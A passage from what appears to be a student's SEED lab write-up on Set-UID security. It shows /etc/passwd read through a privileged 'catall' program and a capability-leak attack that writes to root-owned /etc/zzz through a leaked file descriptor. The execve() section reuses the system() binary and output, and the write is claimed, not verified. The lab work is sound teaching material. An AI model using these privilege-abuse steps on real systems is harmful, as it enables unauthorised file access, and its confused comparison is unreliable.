tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh
```

Now do the same but using execve():

```
[09/28/25]seed@VM:~/.../Labsetup$ gcc catall.c -o catall_system
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown root catall_system
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall_system
[09/28/25]seed@VM:~/.../Labsetup$ ./catall_system /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh
```

From this we can see that system() allows shell execution while execve() directly executes the program. Therefore, system() allows malicious users to exploit it in Set-UID programs and should never be used over execve().

Task 9: Capability Leaking

First prepare the environment, create the files and set ownership and permissions.

```
[09/28/25]seed@VM:~/.../Labsetup$ sudo touch /etc/zzz
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown root:root /etc/zzz
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 0644 /etc/zzz
[09/28/25]seed@VM:~/.../Labsetup$ ls -l /etc/zzz
-rw-r--r-- 1 root root 0 Sep 28 21:27 /etc/zzz
[09/28/25]seed@VM:~/.../Labsetup$ cat /etc/zzz
```

Now compile capleak.c and make it set-UID root

```
[09/28/25]seed@VM:~/.../Labsetup$ gcc cap_leak.c -o capleak
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown root:root capleak
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 capleak
[09/28/25]seed@VM:~/.../Labsetup$ ls -l capleak
-rwsr-xr-x 1 root root 17008 Sep 28 21:29 capleak
```

Now run the program as a normal user and see its output

```
[09/28/25]seed@VM:~/.../Labsetup$ ./capleak
fd is 3
$
```

Then explicit the leaked FD to write to /etc/zzz as a normal user

```
[09/28/25]seed@VM:~/.../Labsetup$ ./capleak
fd is 3
$ echo "ATTACKED by capleak" >&3
[09/28/25]seed@VM:~/.../Labsetup$ ./capleak
fd is 3
$ echo "ATTACKED by capleak" >&3
```

From this we can see that we were able to write to the /etc/zzz file as a normal user